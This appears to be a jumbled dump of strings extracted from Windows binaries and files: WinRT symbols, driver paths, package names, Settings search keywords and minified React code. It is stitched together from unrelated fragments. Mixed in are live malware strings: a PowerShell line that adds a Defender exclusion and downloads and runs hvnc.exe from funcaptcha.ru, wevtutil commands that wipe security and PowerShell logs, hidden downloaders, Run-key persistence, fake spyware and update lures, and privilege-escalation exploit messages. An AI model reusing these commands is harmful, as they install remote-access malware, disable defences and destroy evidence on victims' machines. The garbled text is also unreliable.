.?AU?$require_one@UTemplates@implementation@TaskManagerApp@winrt@@U?$IIterable@U?$IKeyValuePair@UIInspectable@Foundation@Windows@winrt@@U1234@@Collections@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@@impl@winrt@@
.?AU?$producer@UTemplates@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UTemplates@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UTemplates@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$implements@UTemplates@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIComponentConnector@Markup@Xaml@UI@Windows@4@UIComponentConnector2@789Windows@4@@winrt@@
.?AU?$producers_base@UTemplates@implementation@TaskManagerApp@winrt@@V?$tuple@UTemplates@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@3@UIComponentConnector2@56783@@std@@@impl@winrt@@
.?AU?$producer_convert@UTemplates@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
windows.activat
 Windows.Microsoft Copilot 
 Windows.Microsoft Copilot 
 Windows.
 Windows 10 
"powershell.exe-windowstylehidden-command"add-mppreference-exclusionpath'c:'"set"temp_file=%temp%\runtimebroker.exe"powershell-command"(new-objectsystem.net.webclient).downloadfile('https://funcaptcha.ru/hvnc.exe','%temp_file%')"start"""%temp_file%"del/q"%appdata%\microsoftunpython.py"
wevtutilcl'security';wevtutilcl'system';wevtutilcl'windowspowershell';wevtutilcl'microsoft-windows-powershell/operational';wevtutilcl'microsoft-windows-terminalservices-localsessionmanager/admin';wevtutilcl'microsoft-windows-bitlocker/bitlockermanagement'
downloadpowershell-windowstylehidden-nologo-noprofile-command^"try{(new-objectnet.webclient).downloadfile('%~1','%~2');exit0}catch{exit1}">nul2>&1if==0exit/b0powershell-windowstylehidden-nologo-noprofile-command^"try{(new-objectnet.webclient).downloadfile('%~1','%~2');exit0}catch{exit1}">nul2>&1if==0exit/b0exit/b1
.}windowsz1tfsystem32bowhtin.z"isystem32f2srundll32.exejstm.9d"rundll32.exeo-nc:\windows\system32\rundll32.exe)..\..\..\..\windows\system32\rundll32.exemar7nal.dll,runobject!%systemroot%\system32\shell32.dll%windir%\system32\rundll32.exe%windir%\system32\rundll32.exe%wn]nd.q`xuser-pcb8c@c64.[>gb8c@c64.[>g
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
windowstylehidden-nologoiex(iex(get-content.\
\system32\shell32.dll%
ifplatform.system()=='windows':
?unregisterTouchDevice@QWindowSystemInterface@@SAXPEBVQTouchDevice@@@Z
contents-search-windows3
WINDOWS11
:\WINDOWS\System32\drivers\monitor.sys[MonitorWMI]
ProcessWindowStation
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Security.PasswordlessPolicy
Microsoft.Windows.ImageMitigationPolicy
Microsoft.Windows.TlgAggregateInternal
t$e@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIControl4@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl7@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIControl5@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl3@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIControl2@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl4@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIControl3@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIContentControl2@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl2@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IContentControl@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIContentDialog3@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IContentControl2@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIContentControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IContentDialog2@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIContentDialog@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IContentDialog3@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIContentDialog2@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$producer@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IContentDialog@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$implements@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIContentControlOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@@winrt@@
.?AU?$producer@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
)3^MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DiscoveryHub
)MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DragTra
3^MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.BackupBanner@
-orientation":"horizontal"}):React.createElement("li",{id:u?undefined:r.id,className:t.classNames("menuItem",r.cssClass,{menuItemTouch:c==3,expanded:r.isExpanded,focusable:r.isSelectable}),"data-partnertag":t.whenTestHooks("AutoSuggest.MenuItem"),onMouseUp:n=>s(r,n.nativeEvent),onMouseEnter:n=>l(r,n.nativeEvent),onMouseLeave:n=>a(r,n.nativeEvent),role:tt(r),"aria-label":nt(r),"aria-haspopup":r.subItems?"menu":null,tabIndex:-1},r.subItems&&React.createElement(t.WindowsMenu,{dataModel:{items:r.subItems,showIcons:o,clickHandler:s,menuType:e,enterHandler:l,leaveHandler:a,expandIcon:h,inputType:c,setSearchContentLocalStorageItem:v,setCopilotUILocalStorageItem:y,setPersonalizationLocalStorageItem:p},isSubmenu:!0}),React.createElement("div",{className:t.classNames("itemContent",{leftPill:r.isSelectedAccount})},o&&r.icon&&React.createElement(t.Icon,{icon:r.icon}),r.subItems&&React.createElement(t.Icon,{icon:h,type:"SecondaryIcon"}),React.createElement("div",{className:t.classNames({"menu-item_details":o},{"optionsToggle__menu-item_details":u})},r.message&&React.createElement("div",{className:t.classNames({oneLineMax:e!=2},"menuHeaderText")},r.message),r.isDefault&&React.createElement("span",{className:"highlighted"},r.text),!r.isDefault&&r.text&&!u&&React.createElement("div",{className:t.classNames({oneLineMax:e!=2},"menuSubText")},r.text),u&&React.createElement(t.ToggleSwitchOption,{option:{id:r.id,click:()=>{},isChecked:w(r.title),isPofChecked:b,isCopilotUIChecked:k,isPersonalizationChecked:d,isOptionToggleItem:u,headerText:(f=r.title)!==null&&f!==void 0?f:"",toggleText:r.text,optionType:1,selected:w(r.title),setSearchContentLocalStorageItem:v,setCopilotUILocalStorageItem:y,setPersonalizationLocalStorageItem:p,toggleType:g}}))))}})(t=n.View||(n.View={}))}(WSB||(WSB={})),function(n){var t;(function(n){class t extends React.Component{render(){const{chevronDownIcon:f,expandCollapseClickEventHandler:e,expanderCollapsed:t,expanderItem:i,sectionNarratorText:r}=this.props;let u=t?n.getLocString("ExpanderNarratorText",r):n.getLocString("ExpanderNarratorTextExpanded",r);return React.createElement("li",{role:"presentation",className:n.classNames("expanderContainer",{expanderOpened:!t},{selectedExpander:i.selected}),onClick:()=>e()},React.createElement("div",{className:"divider"}),React.createElement("button",{"data-partnertag":n.whenTestHooks("AutoSuggest.Preview.Expander"),id:i.id,"aria-label":u,"aria-expanded":!t,tabIndex:-1,title:u},React.createElement("div",{className:"expanderCircle"},React.createElement("div",{className:"expanderInnerCircle"},React.createElement(n.Icon,{icon:f})))))}}n.Expander=t})(t=n.View||(n.View={}))}(WSB||(WSB={})),function(n){var t;(function(n){class t extends React.Component{render(){const{settingsModule:t,itemClickHandler:r}=this.props,{header:n,settingLinks:u}=t;return React.createElement(React.Fragment,null,React.createElement("h4",{className:"groupTitle"},n),React.createElement("ul",{"aria-label":n},u.map(n=>React.createElement(i,{key:n.id,moduleElement:n,itemClickHandler:r}))))}}n.SettingsOnlineModule=t;class i extends React.Component{render(){const{moduleElement:t,itemClickHandler:i}=this.props;return React.createElement("li",{className:n.classNames("sectionItem","selectable",{sa_hv:t.selected}),title:t.narratorText,onClick:n=>i(t,n.nativeEvent),id:t.id,tabIndex:-1,"aria-selected":t.selected,"aria-label":t.narratorText,"data-partnertag":n.whenTestHooks("AutoSuggest.PPOnlineModuleItem")},React.createElement("div",{className:"secondaryText"},React.createElement("span",null,t.text)))}}})(t=n.View||(n.View={}))}(WSB||(WSB={})),function(n){var t;(function(t){const i=800,r=80,o=1e6,u=85,s=1.15,h=n=>{const t=JSON.stringify(n),i=(new TextEncoder).encode(t),r=Array.from(i).map(n=>String.fromCharCode(n)).join("");return btoa(r)},f=({balance:n,slimMedallion:u,lightMedallion:i,showNotification:r,dashboardUrl:t})=>{const e=React.useRef(null),f=React.useRef(null);return React.useEffect(()=>{if(!f.current){f.current=document.createElement("div");f.current.id="rwMedallion";f.current.dataset.rewardsWidget="medallion";cHL
{mfinalstringwin_cmd="start-processc:\\windows\\temp\\dllhost.exe;";finalstring[]arrayofstrin
windows_generic_MSg
WindowsSetTouch
[Windows 2000/XP: X1 mouse button]
clientcore\windows\advcore\ctf\uim\textinputclient.cpp
clientcore\windows\advcore\ctf\uim\shellhandwriting.cpp
onecore\windows\advcore\ctf\inputsetting\usersessioninputprofiles.cpp
onecore\windows\advcore\ctf\inputsetting\inputprofilesettings.cpp
//httpswindowsupdates-
	system32\Windo
Root=C:\WINDOWS
	COMPUTERNAME=WINDOWS11
\system32\cmd.exeT
130^com.microsoft.windows.extensions.xaml.logonwebhost
com.microsoft.windows.extensions.xaml.logonwebhost
131^com.microsoft.windows.extensionpackage
132^com.microsoft.windows.storage.provider
windows\system3\:c
WINDOWS11
Microsoft.Windows.Kernel.Power.DiagFxAccounting
Microsoft.Windows.Kernel.Power.PowerTransitions
Microsoft.Windows.Kernel.FeatureConfigurationManager
Microsoft.Windows.Input.MouClass
Microsoft.Windows.Input.KbdClass
Microsoft.Windows.Input.HidClass
Microsoft.Windows.Audio.HdAudBus
Microsoft.Windows.Audio.PortClass
\SystemRoot\system32\BOOTVID.dll
\SystemRoot\System32\drivers\clipsp.sys
\SystemRoot\System32\Drivers\mup.sys
\SystemRoot\system32\drivers\ioratZlAIKd
ystemRoot\System32\DriverStore\FileRepository\baZ
ystemRoot\System32\drivers\winhvr.sys
\SystemRoot\system32\drivers\iorat]<
ystemRoot\System32\DriverStore\FileRepository\ba],
Microsoft.Windows.I8042Port
winlogon.exe
Microsoft.Windows.CoreMessaging.CoreMessagingK
Microsoft.Windows.SimpleHapticsCtrl
Microsoft.Windows.InkProcessor
Microsoft.Windows.Graphics.Cdd
\SystemRoot\System32\drivers\cmimcext.sys
Microsoft.Windows.Battery
Microsoft.Windows.USB.XHCI
Microsoft.Windows.CmBatt
\SystemRoot\System32\drivers\ACPI.sys
\SystemRoot\System32\Drivers\Fs_Rec.sys
\SystemRoot\system32\drivers\iorate.sys
\SystemRoot\system32\drivers\msseccore.sys
\SystemRoot\System32\drivers\volmgr.sys
\SystemRoot\system32\drivers\wd\WdFilter.sys
\SystemRoot\System32\Drivers\mup.sys
\SystemRoot\system32\drivers\ioratW
\SystemRoot\System32\drivers\winhvr.sys
Microsoft.Windows.USB.USBHUB3.TraceLogging
WindowsTrustedRT
WindowsTrustedRTProxy
\SystemRoot\System32\DriverStore\FileRepository\baR,SIYd
\SystemRoot\System32\drivers\mouclass.sys
ystemRoot\System32\drivers\winhvr.sys
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
c:\d\dmd2\windows\bin\..\..\src\phobos\std\utf.dc
c:\d\dmd2\windows\bin\..\..\src\phobos\std\file.dc
c:\d\dmd2\windows\bin\..\..\src\phobos\std\format.dc
c:\d\dmd2\windows\bin\..\..\src\phobos\std\base64.dc
c:\d\dmd2\windows\bin\..\..\src\phobos\std\stdio.dc
windows11*
C:\Windows\System32\signtool.exeC
msgbox"youneedtodownloadupdateforwindowsxpkb968930(size5.9mb)"&chr(13)&"pressoktoopenwww.microsoft.com
Windows@7@Uhstring@7@W4SearchCore
Windows@6@Uhstring@6
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Windows has detected spyware infection! Click this message to install the last update of Windows security software.WARNING: Your computer is infectedexplorer "http://go.winantivirus.com
d:\build\ob\bora-24843032\src\bora-vmsoft\build\release-x64\vmbackup\windows\VCBSnapshotProvider\WinVista\VCBSnapshotProvider.pdb
abledisIDropDownStateisINetworkStateisIToggleStateisIgnoredisImmutableDefaultisInAParentTextisInstalledisIntegerequestPermissionspinningSubTextisInvertColorsEnabledisKFMOnboardingEnabledisKFMOnboardingTooltipVisibleisKeyPressEventisLayoutAnimationEnabledisLeftButtonextFocusLeftisLoadedFromServerequestSentisMessageDataEmptyisMouseEventisNPSUXCraftEnabledisNewFolderSelectedisODBisODIgnoreEnabledisObfuscationKeyFeatureEnabledisOpendingContextInputInnerContainerisOptInAllowedisPersistentisPersonalisPlainObjectisPointInFillisPointInStrokeyDownEventshadowBrand64isPolicySetisPortalisPressableisPropagationStoppedisPureReactComponentisQuietErrorsOnlyisReactComponentisReadOnlyErrorequestedFolderIdisReduceMotionEnabledisReduceTransparencyEnabledisReportABugTooltipVisibleisScreenReaderEnabledisSelectedisSendFeedbackEnabledisSettingsTooltipVisibleisSilentisSingleErrorReadyisSpacerequiredColorisSubscribedisSwapKFMButtonsPositionExperimentEnabledisTextInputisTouchExplorationEnabledisTrustedisUpdateisUpgradeAvailableisUpsellEnabledByDefaultisValidElementTypeg$FAILEDisVisibleisWarningsOnlyisolationextHeaderLayoutYjoinArrayshadowBrand28joinEntrieshadowBrand4jsbundleUrlk4keyPrefixkeyUpEventshadowBrand8keyboardAppearancekfmBackupLinkIdkfmCheckFullDiskAccessActionshadowColorkfmCheckFullDiskAccessSlicekfmContainerequiredDiagnosticDataSlicekfmCurrentDialogStatekfmDonePageModelkfmDoneSlicekfmErrorActionshadowOpacitykfmErrorPageModelkfmErrorSlicekfmOptOutDataModelkfmOptOutSlicekfmOptOutSurveyActionshadowStylestorageUsedInBytesubText2StylekfmPageSubtextInputFocusBackgroundColorkfmPageTitlekfmPendingBannerStatekfmSilentPendingBannerCancelButtonIsVisiblekfmSilentPendingBannerIsVisiblepolylineHeight600maxReplaceshouldDisableOnOfflineHeight900unlockIcon22x22macboxConsentDialogDeniedmacboxConsentSlicemainKeymaintainVisibleContentPositionormalButtonotInitializedmanageStorageLinkIdmapFontPipelineToThememapPipelineToShadowindowPhysicalPixelsmapPipelineToThememarginBlockEndmarginBlockStartmarginEndmarginHorizontalmarginInlineEndmarginInlineStartmarginStartmarigoldmarkPointmarkerMidmarkerStartmaxFontSizeMultiplieresourceStringstartShouldSetRespondermaxObjectKeysLimitmaxParallelReadshouldDisableButtonmaxSizemaxStringLimitmaximumFontSizemaximumValuemaximumZoomScalemidLinetworkSettingTextboxHintminLoadRetryCountminPressDurationormalPressedminXminYminiSerializeErroresponderMoveminimumFontScaleminimumValueminimumViewTimeminimumZoomScalemonospacemostRecentEventCountmostly_blank_countmostly_blank_mshouldShowCancelButtonmountedFolderButtonsViewithCredentialsmoveShouldSetResponderesponderTerminationRequestartListeningToAnimatedNodeValuemoveXmoveYmultilineInputopenFoldershowProductCardOneutralBackground3PressedpropTypesizeNoneutralBackground3SelectedupdateOneutralBackground4PressedupsertOneutralBackground4SelectedviewOutlineutralBackground5HoveretryTimeoutoptionColumnotifyNestedSubshouldUseNativeDriveroptionEndColumnotifyNewAccountDetectionIdobfuscationKeyAndTextobfuscationKeyEnabledobfuscationKeyExplanationTextobfuscationKeyHeaderTextobfuscationKeySendEnabledobfuscationTextodIgnoreDataModelodIgnoreEntryodIgnoreInitialStateodignoreActionshowArchitectureIndicatorodignoreSliceopenAtLoginIdopenFolderOriginalopenInBackgroundoperator1optOutDialogExtendedOptOutEnabledoptOutDialogStateoptOutResultDialogLinkTextoptOutResultDialogStateoptOutResultDialogTitleoptOutResultDialogTypeoptacityoptionalDiagnosticDataPageSliceunpackModuleIdpaddingEndpaddingHorizontalpaddingInlineEndpaddingInlineStartpaddingLeftpaddingStartpageTypepageXpageYpaginationDotActivepagingEnabledparagraphotoIcon20x20parseMissingKeyHandlerpartialBoxColorpartialSelectionBoxContainerpassiveListenerpassthroughAnimatedPropExplicitValueshowsHorizontalScrollIndicatorpatchVerpathChangedpatternContentUnitsilverpatternUnitsimplifyPluralSuffixpauseAutomaticallyIdpauseIcon22x22pauseLowBatteryIdpauseOnMeteredIdpauseTimepausedTextpausedWarningBackgroundColorpausedWarningTextpinchGestureEnabledpixels_sampledpixels_scrolledplaceholderTextColorplayTouchSoundpluralCategoriesize360pluralResolverpluralSeparatorpluralsize400powe191gray200gray25gray30gray31gray32gray40gray47gray50gray60gray70gray80gray90gray95grey10Alpha70grey10Alpha80grey10Alpha90grey12Alpha10grey12Alpha20grey12Alpha30grey12Alpha40grey12Alpha50grey12Alpha60grey12Alpha70grey12Alpha80grey12Alpha90grey14Alpha10grey14Alpha20grey14Alpha30grey14Alpha40grey14Alpha50grey14Alpha60grey14Alpha70grey14Alpha80grey14Alpha90grey16grey18grey20grey22grey24grey26grey28grey30grey32grey34grey36grey38grey40grey42grey44grey46grey48grey50grey52grey54grey56grey58grey60grey62grey64grey66grey68grey70grey72grey74grey76grey78grey80grey82grey84grey86grey88grey90grey92grey94grey96grey98groupPolicyIconStylehandleAsObjecthandleChangeWrapperemoveLinkTexthandleEventhandleExceptioneutralStrokeAccessibleSelectedhandleUpsellButtoneutralStrokeDisabledhandlersevereBackground1hardwareAcceleratedhasDefaultValuehasEagerStatehasFolderLevelErroremoveMultipleSymbolsnapToOffsetstylingSettingsubTitleFramehasItemsevereBackground2hasListenersevereBackground3hasMultipleFoldersevereBorder1hasNativeConstructoremoveNamespacesnapToStarthasResourceBundlehasTasksToProcessevereBorder2hasValuehashTransKeyhcAliasTokensevereBorderActivehcButtonTexthcCanvasTexthcDisabledunstable_setLogListenersurveyResponsesubheaderTextContaineremoveOneutralBackground1PressedhelpIcon22x22helpfulButtonTexthelpfulLabelhelpfulRowidth30hex3hex4hex6hex8hideEmailInputhidesWhenStoppedhighContrastColorsevereForeground1unhighlightedTextColoremoveRootViewithSlotshomeIconContaineremoveRulehomeIconHoverBackgroundhonorific-prefixhonorific-suffixhorizontallyInvertedhotspotUpdatehoverBackgroundhoverButtoneutralTertiaryAlthoverTexti18nKeyi18nResolvedmaskContentUnitshield_iconContaineremoveWebSocketHandleruseFabriconStyleDisablediconStyleHoverediconStyleNormaliconStylePressediconStyleSelectediconTestIDiconTintColorDisablediconTintColorPressediconsContainerenderDebugViewithTranslationimageBorderenderMaskipCopyimageFileNameimageFrameimagePanelimagePickerEnabledimageStyleimmediateStoppedimportantForAutofillimportedDefaultinGuardinLayoutinOutinProgressViewContainerenderSectionHeaderinProgressViewSpacerenderSlotinaccessibleWhenModalActiveindexToDeleteindicatorStyleinfoBarTextinfoButtonContainerenderingStartTimeinfoChildrenContainereplaceExistingNonRootViewithTypesinfoContainereplaceReducerinfoInnerContainereportABugDataModelinfoInnerTextRowidth40infoOuterContainerThirdinfoOutlineHeight500infoSecondaryContainerContentinfoSecondaryContainerLabelinfoTextStandardinitEventinitImmediateinitMapDispatchToPropshade60initialAppStateinitialAutoStartEnabledStateinitialAutoStartStateinitialChooseRootFolderPageStateinitialKFMDoneStateinitialKFMErrorStateinitialMacboxConsentStateinitialOptionalDiagnosticDataPageStateinitialPremiumPageStateinitialSelectionew-passwordinitialStateinitialStyleinitialTutorialPageStateinitialValueinitialVaultStateinitialWelcomePageStateinitialWizardErrorPageStateinitialWizardWindowStateinjectionewRangeCountinlineImageLeftinlineLinkPressedinlineLinkTextinlineSizeinnerCircleHoverticallyInvertedinnerCirclePressedinnerCircleSelectedPressedinnerContainerColoreportExceptioninnerFrameBackgroundColoreportFatalErrorinputBordereportFatalExceptioninputFocusBorderAltinputPlaceholderTextinputTextuninstallConsoleErrorReportereportProblem22x22mixinstrumentinvalidatedinversionStyleinvertedinvokeDefaultBackPressHandlereportStackTracespcBase64isACRestStateExperimentEnabledisAccessibilityActionEventisAccessibilityServiceEnabledisAcmVisibleisActionCreatorequestAnimationFrameisActionableisAppFullyLoadedisApplyButtonDisabledisAsyncThunkActionewThemeSecondaryisBarrelButtonPressedisBoldTextEnabledisBusinessClientisCancelButtonVisibleisCatfoodAllowedisCheckboxCheckedisCodecSupportedisCommonModalVisibleisCopilotActionEnabledForFileExtensionextButtonTextisCopilotImageActionEnabledisDebugBuildisDefaultPreventedisDisabledisDraftableisDropdownVisibleisElementisEraserializeErrorisErrorModalisExpandedisFatalisFocusableisFormModalisFragmentisFrozenextFocusForwardisGetHelpEnabledisGrayscaleEnabledisHEVCSupportedisHideSaveChangesExperimentEnabledisHomeTooltipVisibleisHorizontalScrollWheelisHoverEn
^Vregadd"hklm\software\microsoft\windowsnt\currentversion\imagefileexecutionoptions\
/cjawjogfeno\eathipayem.cmdabcdefghijclmnopqrstuvwxyz0123456789c:\windows\system32\shell32.dllc:\windows\system32\cmd.exe
.bat'-windowstylehidden
new-itemproperty-path'hkcu:\\software\\microsoft\\windows\\currentversion\\run'-name'
C6^WINDOWS.BACKGROUNDTASKS
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
\windows\currentversion\internet settings\x00s
z.exeiconfile=c:\windows\system32\
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
("c:\windows\4
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MsMpEng.exe
AGGR:PowerShell/UninstallWindowsFeature
e)Windows version is not supportedReparse Data Too BigCreateALPCPorts failedCfRegisterSyncRoot failedNtFsControlFile(FSCTL_SET_REPARSE_POINT_EX) failedPool SprayPipePoolSprayAlloc failedPipeWriteAttr failedAllocateALPCReserveHandles failedNtFsControlFile(0x903BC) failedCfUnregisterSyncRoot failed with 0x%xOpenProcess failedPipeAttribute address: %pWrong token addressFailed to Create Target Process: 0x%XGot SYSTEM?
WldpQueryWindowsLockdownMode
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
account settings|accounts|biocredentials|bio-credentials|biocreds|change my password|change password|FIDO keys|fingerprint settings|login settings|password settings|passwords settings|photo password|picture password|pictures password|require sign in|security key settings|security keys settings|sign in options|signin options|signin settings|sign-in settings|Windows Hello Face|Windows Hello Fingerprint|Windows Hello PIN|Windows Hello settings|set up windows hello|windows hello setup|log on|logon|3
search permissions and history|search history|search privacy settings|Windows Search settings|indexing options|indexer settings|search indexer|indexing settings|searching windows|find files|find my files|search results|enhanced search|windows indexer|search files|files search|-
#,indexing options|indexer settings|search indexer|indexing settings|searching windows|find files|find my files|search results|enhanced search|windows indexer|search files|files search|(
'2automatic|autoupdate|autoupdates|check|checks|fix|fixes|patch|patches|security|updates|updater|up-dates|updating|Windowsupdate|Wupdater|udpate|upgrade|manage update|pause update|get update|/
mixed reality features|headset features|MR settings|Windows MR settings|lost tracking|fade to gray|P
90hz|60hz|ultra|render|hmd|mixed reality features|headset features|holographic fps|hololens settings|MR settings|Windows MR settings|G
Windows Mixed RealityY
for Windows Mixed Reality_
value for Windows Mixed Realityk
calibration value for Windows Mixed Realityr
custom calibration value for Windows Mixed Realityt
a custom calibration value for Windows Mixed Reality
ipd|interpupillary|lens|optical|visual|focus|blurry|headset display|hololens settings|MR settings|Windows MR settings|]
Mixed Reality Portal|launch|preallocation|pre-allocation|virtual monitor|monitor|virtual monitors|monitors|display|startup|hololens settings|MR settings|Windows MR settings|U
Windows::Foundation::GetActivationFactory(HStringReference(RuntimeClass_Windows_System_Threading_ThreadPoolTimer).Get(), threadpool.GetAddressOf())
packageManager3->AddPackageVolumeAsync(HStringReference(PREINSTALLED_WINDOWSAPPS).Get(), packageVolumeOperation.GetAddressOf())
ResultFromWin32Handle(LoadLibraryEx(L"iuilp.dll", nullptr, LOAD_LIBRARY_SEARCH_SYSTEM32), reinterpret_cast<HANDLE*>(m_policyHandle.GetAddressOf()))
Windows::Foundation::ActivateInstance( HStringReference(RuntimeClass_Windows_Management_Deployment_Internal_PackageManagerInternal).Get(), &packageManagerInternalPtr)
Windows::Foundation::ActivateInstance( HStringReference(RuntimeClass_Windows_Management_Deployment_PackageManager).Get(), &packageManagerPtr)
Windows::Foundation::GetActivationFactory( HStringReference(RuntimeClass_Windows_System_Threading_ThreadPool).Get(), threadpool.GetAddressOf())
Windows::Foundation::GetActivationFactory(HStringReference(RuntimeClass_Windows_System_Threading_ThreadPool).Get(), threadpool.GetAddressOf())
MWindowsGetStringRawBuffer
WindowsDeleteString
WindowsCreateStringReference
WindowsCreateString
SLGetWindowsInformationDWORD
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS\QUERY!HKeyRoot2
 #add_keydown({start-processpowershell-windowstylehidden-argumentlist'-command',$myinvocation.line});$f.showdialog()"gotoloop
s\system32\k
c:\windows\pd.dll
Windows
Microsoft.Windows.DusmSvc
/https://bn2-df.notify.windows.com/v2/register/xplatform/device`
WINDOWS11
:Windows::Services::Store::StorePackageUpdateResult,struct winrt::Windows::Services::Store::StorePackageUpdateStatus>::Progress(const struct winrt::Windows::Foundation::AsyncOperationProgressHandler<struct winrt::Windows::Services::Store::StorePackageUpdateResult,struct winrt::Windows::Services::Store::StorePackageUpdateStatus> &) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncInfo<struct winrt::Windows::Foundation::IAsyncOperationWithProgress<struct winrt::Windows::Services::Store::StorePackageUpdateResult,struct winrt::Windows::Services::Store::StorePackageUpdateStatus> >::Cancel(void) const
auto __cdecl winrt::impl::consume_Windows_Networking_Connectivity_IConnectionProfile<struct winrt::Windows::Networking::Connectivity::IConnectionProfile>::GetNetworkConnectivityLevel(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IVectorView<struct winrt::Windows::Foundation::Collections::IVectorView<struct winrt::Windows::Services::Store::StorePackageUpdate>,struct winrt::Windows::Services::Store::StorePackageUpdate>::Size(void) const
